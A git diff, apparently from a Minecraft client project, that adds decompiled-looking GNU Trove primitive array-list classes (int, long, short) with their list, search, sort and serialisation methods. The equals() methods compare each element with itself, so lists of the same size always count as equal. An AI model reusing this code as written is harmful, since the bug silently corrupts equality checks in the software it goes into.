+        int c = ((Integer)element).intValue();
+        if (!contains(c)) {
+          return false;
+        }
+      } else {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  public boolean containsAll(TIntCollection collection)
+  {
+    if (this == collection) {
+      return true;
+    }
+    TIntIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      int element = iter.next();
+      if (!contains(element)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean containsAll(int[] array)
+  {
+    for (int i = array.length; i-- > 0;) {
+      if (!contains(array[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean addAll(Collection<? extends Integer> collection)
+  {
+    boolean changed = false;
+    for (Integer element : collection) {
+      int e = element.intValue();
+      if (add(e)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(TIntCollection collection)
+  {
+    boolean changed = false;
+    TIntIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      int element = iter.next();
+      if (add(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(int[] array)
+  {
+    boolean changed = false;
+    for (int element : array) {
+      if (add(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+
+  public boolean retainAll(Collection<?> collection)
+  {
+    boolean modified = false;
+    TIntIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(Integer.valueOf(iter.next()))) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(TIntCollection collection)
+  {
+    if (this == collection) {
+      return false;
+    }
+    boolean modified = false;
+    TIntIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(iter.next())) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(int[] array)
+  {
+    boolean changed = false;
+    Arrays.sort(array);
+    int[] data = _data;
+    
+    for (int i = data.length; i-- > 0;) {
+      if (Arrays.binarySearch(array, data[i]) < 0) {
+        remove(i, 1);
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(Collection<?> collection)
+  {
+    boolean changed = false;
+    for (Object element : collection) {
+      if ((element instanceof Integer)) {
+        int c = ((Integer)element).intValue();
+        if (remove(c)) {
+          changed = true;
+        }
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(TIntCollection collection)
+  {
+    if (collection == this) {
+      clear();
+      return true;
+    }
+    boolean changed = false;
+    TIntIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      int element = iter.next();
+      if (remove(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(int[] array)
+  {
+    boolean changed = false;
+    for (int i = array.length; i-- > 0;) {
+      if (remove(array[i])) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public void transformValues(TIntFunction function)
+  {
+    for (int i = _pos; i-- > 0;) {
+      _data[i] = function.execute(_data[i]);
+    }
+  }
+  
+
+  public void reverse()
+  {
+    reverse(0, _pos);
+  }
+  
+
+  public void reverse(int from, int to)
+  {
+    if (from == to) {
+      return;
+    }
+    if (from > to) {
+      throw new IllegalArgumentException("from cannot be greater than to");
+    }
+    int i = from; for (int j = to - 1; i < j; j--) {
+      swap(i, j);i++;
+    }
+  }
+  
+
+  public void shuffle(Random rand)
+  {
+    for (int i = _pos; i-- > 1;) {
+      swap(i, rand.nextInt(i));
+    }
+  }
+  
+
+
+
+
+
+
+  private void swap(int i, int j)
+  {
+    int tmp = _data[i];
+    _data[i] = _data[j];
+    _data[j] = tmp;
+  }
+  
+
+
+
+  public TIntList subList(int begin, int end)
+  {
+    if (end < begin) {
+      throw new IllegalArgumentException("end index " + end + " greater than begin index " + begin);
+    }
+    
+    if (begin < 0) {
+      throw new IndexOutOfBoundsException("begin index can not be < 0");
+    }
+    if (end > _data.length) {
+      throw new IndexOutOfBoundsException("end index < " + _data.length);
+    }
+    TIntArrayList list = new TIntArrayList(end - begin);
+    for (int i = begin; i < end; i++) {
+      list.add(_data[i]);
+    }
+    return list;
+  }
+  
+
+  public int[] toArray()
+  {
+    return toArray(0, _pos);
+  }
+  
+
+  public int[] toArray(int offset, int len)
+  {
+    int[] rv = new int[len];
+    toArray(rv, offset, len);
+    return rv;
+  }
+  
+
+  public int[] toArray(int[] dest)
+  {
+    int len = dest.length;
+    if (dest.length > _pos) {
+      len = _pos;
+      dest[len] = no_entry_value;
+    }
+    toArray(dest, 0, len);
+    return dest;
+  }
+  
+
+  public int[] toArray(int[] dest, int offset, int len)
+  {
+    if (len == 0) {
+      return dest;
+    }
+    if ((offset < 0) || (offset >= _pos)) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    System.arraycopy(_data, offset, dest, 0, len);
+    return dest;
+  }
+  
+
+  public int[] toArray(int[] dest, int source_pos, int dest_pos, int len)
+  {
+    if (len == 0) {
+      return dest;
+    }
+    if ((source_pos < 0) || (source_pos >= _pos)) {
+      throw new ArrayIndexOutOfBoundsException(source_pos);
+    }
+    System.arraycopy(_data, source_pos, dest, dest_pos, len);
+    return dest;
+  }
+  
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (other == this) {
+      return true;
+    }
+    if ((other instanceof TIntArrayList)) {
+      TIntArrayList that = (TIntArrayList)other;
+      if (that.size() != size()) { return false;
+      }
+      for (int i = _pos; i-- > 0;) {
+        if (_data[i] != _data[i]) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    return false;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int h = 0;
+    for (int i = _pos; i-- > 0;) {
+      h += HashFunctions.hash(_data[i]);
+    }
+    return h;
+  }
+  
+
+
+
+  public boolean forEach(TIntProcedure procedure)
+  {
+    for (int i = 0; i < _pos; i++) {
+      if (!procedure.execute(_data[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachDescending(TIntProcedure procedure)
+  {
+    for (int i = _pos; i-- > 0;) {
+      if (!procedure.execute(_data[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+  public void sort()
+  {
+    Arrays.sort(_data, 0, _pos);
+  }
+  
+
+  public void sort(int fromIndex, int toIndex)
+  {
+    Arrays.sort(_data, fromIndex, toIndex);
+  }
+  
+
+
+
+  public void fill(int val)
+  {
+    Arrays.fill(_data, 0, _pos, val);
+  }
+  
+
+  public void fill(int fromIndex, int toIndex, int val)
+  {
+    if (toIndex > _pos) {
+      ensureCapacity(toIndex);
+      _pos = toIndex;
+    }
+    Arrays.fill(_data, fromIndex, toIndex, val);
+  }
+  
+
+
+
+  public int binarySearch(int value)
+  {
+    return binarySearch(value, 0, _pos);
+  }
+  
+
+  public int binarySearch(int value, int fromIndex, int toIndex)
+  {
+    if (fromIndex < 0) {
+      throw new ArrayIndexOutOfBoundsException(fromIndex);
+    }
+    if (toIndex > _pos) {
+      throw new ArrayIndexOutOfBoundsException(toIndex);
+    }
+    
+    int low = fromIndex;
+    int high = toIndex - 1;
+    
+    while (low <= high) {
+      int mid = low + high >>> 1;
+      int midVal = _data[mid];
+      
+      if (midVal < value) {
+        low = mid + 1;
+      }
+      else if (midVal > value) {
+        high = mid - 1;
+      }
+      else {
+        return mid;
+      }
+    }
+    return -(low + 1);
+  }
+  
+
+  public int indexOf(int value)
+  {
+    return indexOf(0, value);
+  }
+  
+
+  public int indexOf(int offset, int value)
+  {
+    for (int i = offset; i < _pos; i++) {
+      if (_data[i] == value) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+  public int lastIndexOf(int value)
+  {
+    return lastIndexOf(_pos, value);
+  }
+  
+
+  public int lastIndexOf(int offset, int value)
+  {
+    for (int i = offset; i-- > 0;) {
+      if (_data[i] == value) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+  public boolean contains(int value)
+  {
+    return lastIndexOf(value) >= 0;
+  }
+  
+
+  public TIntList grep(TIntProcedure condition)
+  {
+    TIntArrayList list = new TIntArrayList();
+    for (int i = 0; i < _pos; i++) {
+      if (condition.execute(_data[i])) {
+        list.add(_data[i]);
+      }
+    }
+    return list;
+  }
+  
+
+  public TIntList inverseGrep(TIntProcedure condition)
+  {
+    TIntArrayList list = new TIntArrayList();
+    for (int i = 0; i < _pos; i++) {
+      if (!condition.execute(_data[i])) {
+        list.add(_data[i]);
+      }
+    }
+    return list;
+  }
+  
+
+  public int max()
+  {
+    if (size() == 0) {
+      throw new IllegalStateException("cannot find maximum of an empty list");
+    }
+    int max = Integer.MIN_VALUE;
+    for (int i = 0; i < _pos; i++) {
+      if (_data[i] > max) {
+        max = _data[i];
+      }
+    }
+    return max;
+  }
+  
+
+  public int min()
+  {
+    if (size() == 0) {
+      throw new IllegalStateException("cannot find minimum of an empty list");
+    }
+    int min = Integer.MAX_VALUE;
+    for (int i = 0; i < _pos; i++) {
+      if (_data[i] < min) {
+        min = _data[i];
+      }
+    }
+    return min;
+  }
+  
+
+
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder("{");
+    int i = 0; for (int end = _pos - 1; i < end; i++) {
+      buf.append(_data[i]);
+      buf.append(", ");
+    }
+    if (size() > 0) {
+      buf.append(_data[(_pos - 1)]);
+    }
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+
+  class TIntArrayIterator
+    implements TIntIterator
+  {
+    private int cursor = 0;
+    
+
+
+
+
+
+    int lastRet = -1;
+    
+    TIntArrayIterator(int index)
+    {
+      cursor = index;
+    }
+    
+
+    public boolean hasNext()
+    {
+      return cursor < size();
+    }
+    
+    public int next()
+    {
+      try
+      {
+        int next = get(cursor);
+        lastRet = (cursor++);
+        return next;
+      } catch (IndexOutOfBoundsException e) {
+        throw new NoSuchElementException();
+      }
+    }
+    
+
+    public void remove()
+    {
+      if (lastRet == -1) {
+        throw new IllegalStateException();
+      }
+      try {
+        remove(lastRet, 1);
+        if (lastRet < cursor)
+          cursor -= 1;
+        lastRet = -1;
+      } catch (IndexOutOfBoundsException e) {
+        throw new ConcurrentModificationException();
+      }
+    }
+  }
+  
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeInt(_pos);
+    
+
+    out.writeInt(no_entry_value);
+    
+
+    int len = _data.length;
+    out.writeInt(len);
+    for (int i = 0; i < len; i++) {
+      out.writeInt(_data[i]);
+    }
+  }
+  
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _pos = in.readInt();
+    
+
+    no_entry_value = in.readInt();
+    
+
+    int len = in.readInt();
+    _data = new int[len];
+    for (int i = 0; i < len; i++) {
+      _data[i] = in.readInt();
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/list/array/TLongArrayList.java b/src/minecraft/gnu/trove/list/array/TLongArrayList.java
new file mode 100644
index 0000000..c8dbf73
--- /dev/null
+++ b/src/minecraft/gnu/trove/list/array/TLongArrayList.java
@@ -0,0 +1,1013 @@
+package gnu.trove.list.array;
+
+import gnu.trove.TLongCollection;
+import gnu.trove.function.TLongFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.iterator.TLongIterator;
+import gnu.trove.list.TLongList;
+import gnu.trove.procedure.TLongProcedure;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.NoSuchElementException;
+import java.util.Random;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TLongArrayList
+  implements TLongList, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected long[] _data;
+  protected int _pos;
+  protected static final int DEFAULT_CAPACITY = 10;
+  protected long no_entry_value;
+  
+  public TLongArrayList()
+  {
+    this(10, 0L);
+  }
+  
+
+
+
+
+
+
+
+  public TLongArrayList(int capacity)
+  {
+    this(capacity, 0L);
+  }
+  
+
+
+
+
+
+
+
+  public TLongArrayList(int capacity, long no_entry_value)
+  {
+    _data = new long[capacity];
+    _pos = 0;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+  public TLongArrayList(TLongCollection collection)
+  {
+    this(collection.size());
+    addAll(collection);
+  }
+  
+
+
+
+
+
+
+
+  public TLongArrayList(long[] values)
+  {
+    this(values.length);
+    add(values);
+  }
+  
+
+  public long getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public void ensureCapacity(int capacity)
+  {
+    if (capacity > _data.length) {
+      int newCap = Math.max(_data.length << 1, capacity);
+      long[] tmp = new long[newCap];
+      System.arraycopy(_data, 0, tmp, 0, _data.length);
+      _data = tmp;
+    }
+  }
+  
+
+  public int size()
+  {
+    return _pos;
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return _pos == 0;
+  }
+  
+
+
+
+  public void trimToSize()
+  {
+    if (_data.length > size()) {
+      long[] tmp = new long[size()];
+      toArray(tmp, 0, tmp.length);
+      _data = tmp;
+    }
+  }
+  
+
+
+
+  public boolean add(long val)
+  {
+    ensureCapacity(_pos + 1);
+    _data[(_pos++)] = val;
+    return true;
+  }
+  
+
+  public void add(long[] vals)
+  {
+    add(vals, 0, vals.length);
+  }
+  
+
+  public void add(long[] vals, int offset, int length)
+  {
+    ensureCapacity(_pos + length);
+    System.arraycopy(vals, offset, _data, _pos, length);
+    _pos += length;
+  }
+  
+
+  public void insert(int offset, long value)
+  {
+    if (offset == _pos) {
+      add(value);
+      return;
+    }
+    ensureCapacity(_pos + 1);
+    
+    System.arraycopy(_data, offset, _data, offset + 1, _pos - offset);
+    
+    _data[offset] = value;
+    _pos += 1;
+  }
+  
+
+  public void insert(int offset, long[] values)
+  {
+    insert(offset, values, 0, values.length);
+  }
+  
+
+  public void insert(int offset, long[] values, int valOffset, int len)
+  {
+    if (offset == _pos) {
+      add(values, valOffset, len);
+      return;
+    }
+    
+    ensureCapacity(_pos + len);
+    
+    System.arraycopy(_data, offset, _data, offset + len, _pos - offset);
+    
+    System.arraycopy(values, valOffset, _data, offset, len);
+    _pos += len;
+  }
+  
+
+  public long get(int offset)
+  {
+    if (offset >= _pos) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    return _data[offset];
+  }
+  
+
+
+
+  public long getQuick(int offset)
+  {
+    return _data[offset];
+  }
+  
+
+  public void set(int offset, long val)
+  {
+    if (offset >= _pos) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    _data[offset] = val;
+  }
+  
+
+  public long replace(int offset, long val)
+  {
+    if (offset >= _pos) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    long old = _data[offset];
+    _data[offset] = val;
+    return old;
+  }
+  
+
+  public void set(int offset, long[] values)
+  {
+    set(offset, values, 0, values.length);
+  }
+  
+
+  public void set(int offset, long[] values, int valOffset, int length)
+  {
+    if ((offset < 0) || (offset + length > _pos)) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    System.arraycopy(values, valOffset, _data, offset, length);
+  }
+  
+
+
+
+  public void setQuick(int offset, long val)
+  {
+    _data[offset] = val;
+  }
+  
+
+  public void clear()
+  {
+    clear(10);
+  }
+  
+
+
+
+
+  public void clear(int capacity)
+  {
+    _data = new long[capacity];
+    _pos = 0;
+  }
+  
+
+
+
+
+
+  public void reset()
+  {
+    _pos = 0;
+    Arrays.fill(_data, no_entry_value);
+  }
+  
+
+
+
+
+
+
+
+
+  public void resetQuick()
+  {
+    _pos = 0;
+  }
+  
+
+  public boolean remove(long value)
+  {
+    for (int index = 0; index < _pos; index++) {
+      if (value == _data[index]) {
+        remove(index, 1);
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public long removeAt(int offset)
+  {
+    long old = get(offset);
+    remove(offset, 1);
+    return old;
+  }
+  
+
+  public void remove(int offset, int length)
+  {
+    if ((offset < 0) || (offset >= _pos)) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    
+    if (offset == 0)
+    {
+      System.arraycopy(_data, length, _data, 0, _pos - length);
+    }
+    else if (_pos - length != offset)
+    {
+
+
+
+
+      System.arraycopy(_data, offset + length, _data, offset, _pos - (offset + length));
+    }
+    
+    _pos -= length;
+  }
+  
+
+
+
+
+  public TLongIterator iterator()
+  {
+    return new TLongArrayIterator(0);
+  }
+  
+
+  public boolean containsAll(Collection<?> collection)
+  {
+    for (Object element : collection) {
+      if ((element instanceof Long)) {
+        long c = ((Long)element).longValue();
+        if (!contains(c)) {
+          return false;
+        }
+      } else {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  public boolean containsAll(TLongCollection collection)
+  {
+    if (this == collection) {
+      return true;
+    }
+    TLongIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      long element = iter.next();
+      if (!contains(element)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean containsAll(long[] array)
+  {
+    for (int i = array.length; i-- > 0;) {
+      if (!contains(array[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean addAll(Collection<? extends Long> collection)
+  {
+    boolean changed = false;
+    for (Long element : collection) {
+      long e = element.longValue();
+      if (add(e)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(TLongCollection collection)
+  {
+    boolean changed = false;
+    TLongIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      long element = iter.next();
+      if (add(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(long[] array)
+  {
+    boolean changed = false;
+    for (long element : array) {
+      if (add(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+
+  public boolean retainAll(Collection<?> collection)
+  {
+    boolean modified = false;
+    TLongIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(Long.valueOf(iter.next()))) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(TLongCollection collection)
+  {
+    if (this == collection) {
+      return false;
+    }
+    boolean modified = false;
+    TLongIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(iter.next())) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(long[] array)
+  {
+    boolean changed = false;
+    Arrays.sort(array);
+    long[] data = _data;
+    
+    for (int i = data.length; i-- > 0;) {
+      if (Arrays.binarySearch(array, data[i]) < 0) {
+        remove(i, 1);
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(Collection<?> collection)
+  {
+    boolean changed = false;
+    for (Object element : collection) {
+      if ((element instanceof Long)) {
+        long c = ((Long)element).longValue();
+        if (remove(c)) {
+          changed = true;
+        }
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(TLongCollection collection)
+  {
+    if (collection == this) {
+      clear();
+      return true;
+    }
+    boolean changed = false;
+    TLongIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      long element = iter.next();
+      if (remove(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(long[] array)
+  {
+    boolean changed = false;
+    for (int i = array.length; i-- > 0;) {
+      if (remove(array[i])) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public void transformValues(TLongFunction function)
+  {
+    for (int i = _pos; i-- > 0;) {
+      _data[i] = function.execute(_data[i]);
+    }
+  }
+  
+
+  public void reverse()
+  {
+    reverse(0, _pos);
+  }
+  
+
+  public void reverse(int from, int to)
+  {
+    if (from == to) {
+      return;
+    }
+    if (from > to) {
+      throw new IllegalArgumentException("from cannot be greater than to");
+    }
+    int i = from; for (int j = to - 1; i < j; j--) {
+      swap(i, j);i++;
+    }
+  }
+  
+
+  public void shuffle(Random rand)
+  {
+    for (int i = _pos; i-- > 1;) {
+      swap(i, rand.nextInt(i));
+    }
+  }
+  
+
+
+
+
+
+
+  private void swap(int i, int j)
+  {
+    long tmp = _data[i];
+    _data[i] = _data[j];
+    _data[j] = tmp;
+  }
+  
+
+
+
+  public TLongList subList(int begin, int end)
+  {
+    if (end < begin) {
+      throw new IllegalArgumentException("end index " + end + " greater than begin index " + begin);
+    }
+    
+    if (begin < 0) {
+      throw new IndexOutOfBoundsException("begin index can not be < 0");
+    }
+    if (end > _data.length) {
+      throw new IndexOutOfBoundsException("end index < " + _data.length);
+    }
+    TLongArrayList list = new TLongArrayList(end - begin);
+    for (int i = begin; i < end; i++) {
+      list.add(_data[i]);
+    }
+    return list;
+  }
+  
+
+  public long[] toArray()
+  {
+    return toArray(0, _pos);
+  }
+  
+
+  public long[] toArray(int offset, int len)
+  {
+    long[] rv = new long[len];
+    toArray(rv, offset, len);
+    return rv;
+  }
+  
+
+  public long[] toArray(long[] dest)
+  {
+    int len = dest.length;
+    if (dest.length > _pos) {
+      len = _pos;
+      dest[len] = no_entry_value;
+    }
+    toArray(dest, 0, len);
+    return dest;
+  }
+  
+
+  public long[] toArray(long[] dest, int offset, int len)
+  {
+    if (len == 0) {
+      return dest;
+    }
+    if ((offset < 0) || (offset >= _pos)) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    System.arraycopy(_data, offset, dest, 0, len);
+    return dest;
+  }
+  
+
+  public long[] toArray(long[] dest, int source_pos, int dest_pos, int len)
+  {
+    if (len == 0) {
+      return dest;
+    }
+    if ((source_pos < 0) || (source_pos >= _pos)) {
+      throw new ArrayIndexOutOfBoundsException(source_pos);
+    }
+    System.arraycopy(_data, source_pos, dest, dest_pos, len);
+    return dest;
+  }
+  
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (other == this) {
+      return true;
+    }
+    if ((other instanceof TLongArrayList)) {
+      TLongArrayList that = (TLongArrayList)other;
+      if (that.size() != size()) { return false;
+      }
+      for (int i = _pos; i-- > 0;) {
+        if (_data[i] != _data[i]) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    return false;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int h = 0;
+    for (int i = _pos; i-- > 0;) {
+      h += HashFunctions.hash(_data[i]);
+    }
+    return h;
+  }
+  
+
+
+
+  public boolean forEach(TLongProcedure procedure)
+  {
+    for (int i = 0; i < _pos; i++) {
+      if (!procedure.execute(_data[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachDescending(TLongProcedure procedure)
+  {
+    for (int i = _pos; i-- > 0;) {
+      if (!procedure.execute(_data[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+  public void sort()
+  {
+    Arrays.sort(_data, 0, _pos);
+  }
+  
+
+  public void sort(int fromIndex, int toIndex)
+  {
+    Arrays.sort(_data, fromIndex, toIndex);
+  }
+  
+
+
+
+  public void fill(long val)
+  {
+    Arrays.fill(_data, 0, _pos, val);
+  }
+  
+
+  public void fill(int fromIndex, int toIndex, long val)
+  {
+    if (toIndex > _pos) {
+      ensureCapacity(toIndex);
+      _pos = toIndex;
+    }
+    Arrays.fill(_data, fromIndex, toIndex, val);
+  }
+  
+
+
+
+  public int binarySearch(long value)
+  {
+    return binarySearch(value, 0, _pos);
+  }
+  
+
+  public int binarySearch(long value, int fromIndex, int toIndex)
+  {
+    if (fromIndex < 0) {
+      throw new ArrayIndexOutOfBoundsException(fromIndex);
+    }
+    if (toIndex > _pos) {
+      throw new ArrayIndexOutOfBoundsException(toIndex);
+    }
+    
+    int low = fromIndex;
+    int high = toIndex - 1;
+    
+    while (low <= high) {
+      int mid = low + high >>> 1;
+      long midVal = _data[mid];
+      
+      if (midVal < value) {
+        low = mid + 1;
+      }
+      else if (midVal > value) {
+        high = mid - 1;
+      }
+      else {
+        return mid;
+      }
+    }
+    return -(low + 1);
+  }
+  
+
+  public int indexOf(long value)
+  {
+    return indexOf(0, value);
+  }
+  
+
+  public int indexOf(int offset, long value)
+  {
+    for (int i = offset; i < _pos; i++) {
+      if (_data[i] == value) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+  public int lastIndexOf(long value)
+  {
+    return lastIndexOf(_pos, value);
+  }
+  
+
+  public int lastIndexOf(int offset, long value)
+  {
+    for (int i = offset; i-- > 0;) {
+      if (_data[i] == value) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+  public boolean contains(long value)
+  {
+    return lastIndexOf(value) >= 0;
+  }
+  
+
+  public TLongList grep(TLongProcedure condition)
+  {
+    TLongArrayList list = new TLongArrayList();
+    for (int i = 0; i < _pos; i++) {
+      if (condition.execute(_data[i])) {
+        list.add(_data[i]);
+      }
+    }
+    return list;
+  }
+  
+
+  public TLongList inverseGrep(TLongProcedure condition)
+  {
+    TLongArrayList list = new TLongArrayList();
+    for (int i = 0; i < _pos; i++) {
+      if (!condition.execute(_data[i])) {
+        list.add(_data[i]);
+      }
+    }
+    return list;
+  }
+  
+
+  public long max()
+  {
+    if (size() == 0) {
+      throw new IllegalStateException("cannot find maximum of an empty list");
+    }
+    long max = Long.MIN_VALUE;
+    for (int i = 0; i < _pos; i++) {
+      if (_data[i] > max) {
+        max = _data[i];
+      }
+    }
+    return max;
+  }
+  
+
+  public long min()
+  {
+    if (size() == 0) {
+      throw new IllegalStateException("cannot find minimum of an empty list");
+    }
+    long min = Long.MAX_VALUE;
+    for (int i = 0; i < _pos; i++) {
+      if (_data[i] < min) {
+        min = _data[i];
+      }
+    }
+    return min;
+  }
+  
+
+
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder("{");
+    int i = 0; for (int end = _pos - 1; i < end; i++) {
+      buf.append(_data[i]);
+      buf.append(", ");
+    }
+    if (size() > 0) {
+      buf.append(_data[(_pos - 1)]);
+    }
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+
+  class TLongArrayIterator
+    implements TLongIterator
+  {
+    private int cursor = 0;
+    
+
+
+
+
+
+    int lastRet = -1;
+    
+    TLongArrayIterator(int index)
+    {
+      cursor = index;
+    }
+    
+
+    public boolean hasNext()
+    {
+      return cursor < size();
+    }
+    
+    public long next()
+    {
+      try
+      {
+        long next = get(cursor);
+        lastRet = (cursor++);
+        return next;
+      } catch (IndexOutOfBoundsException e) {
+        throw new NoSuchElementException();
+      }
+    }
+    
+
+    public void remove()
+    {
+      if (lastRet == -1) {
+        throw new IllegalStateException();
+      }
+      try {
+        remove(lastRet, 1);
+        if (lastRet < cursor)
+          cursor -= 1;
+        lastRet = -1;
+      } catch (IndexOutOfBoundsException e) {
+        throw new ConcurrentModificationException();
+      }
+    }
+  }
+  
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeInt(_pos);
+    
+
+    out.writeLong(no_entry_value);
+    
+
+    int len = _data.length;
+    out.writeInt(len);
+    for (int i = 0; i < len; i++) {
+      out.writeLong(_data[i]);
+    }
+  }
+  
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _pos = in.readInt();
+    
+
+    no_entry_value = in.readLong();
+    
+
+    int len = in.readInt();
+    _data = new long[len];
+    for (int i = 0; i < len; i++) {
+      _data[i] = in.readLong();
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/list/array/TShortArrayList.java b/src/minecraft/gnu/trove/list/array/TShortArrayList.java
new file mode 100644
index 0000000..6349e66
--- /dev/null
+++ b/src/minecraft/gnu/trove/list/array/TShortArrayList.java
@@ -0,0 +1,1013 @@
+package gnu.trove.list.array;
+
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TShortFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.iterator.TShortIterator;
+import gnu.trove.list.TShortList;
+import gnu.trove.procedure.TShortProcedure;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.NoSuchElementException;
+import java.util.Random;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TShortArrayList
+  implements TShortList, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected short[] _data;
+  protected int _pos;
+  protected static final int DEFAULT_CAPACITY = 10;
+  protected short no_entry_value;
+  
+  public TShortArrayList()
+  {
+    this(10, (short)0);
+  }
+  
+
+
+
+
+
+
+
+  public TShortArrayList(int capacity)
+  {
+    this(capacity, (short)0);
+  }
+  
+
+
+
+
+
+
+
+  public TShortArrayList(int capacity, short no_entry_value)
+  {
+    _data = new short[capacity];
+    _pos = 0;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+  public TShortArrayList(TShortCollection collection)
+  {
+    this(collection.size());
+    addAll(collection);
+  }
+  
+
+
+
+
+
+
+
+  public TShortArrayList(short[] values)
+  {
+    this(values.length);
+    add(values);
+  }
+  
+
+  public short getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public void ensureCapacity(int capacity)
+  {
+    if (capacity > _data.length) {
+      int newCap = Math.max(_data.length << 1, capacity);
+      short[] tmp = new short[newCap];
+      System.arraycopy(_data, 0, tmp, 0, _data.length);
+      _data = tmp;
+    }
+  }
+  
+
+  public int size()
+  {
+    return _pos;
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return _pos == 0;
+  }
+  
+
+
+
+  public void trimToSize()
+  {
+    if (_data.length > size()) {
+      short[] tmp = new short[size()];
+      toArray(tmp, 0, tmp.length);
+      _data = tmp;
+    }
+  }
+  
+
+
+
+  public boolean add(short val)
+  {
+    ensureCapacity(_pos + 1);
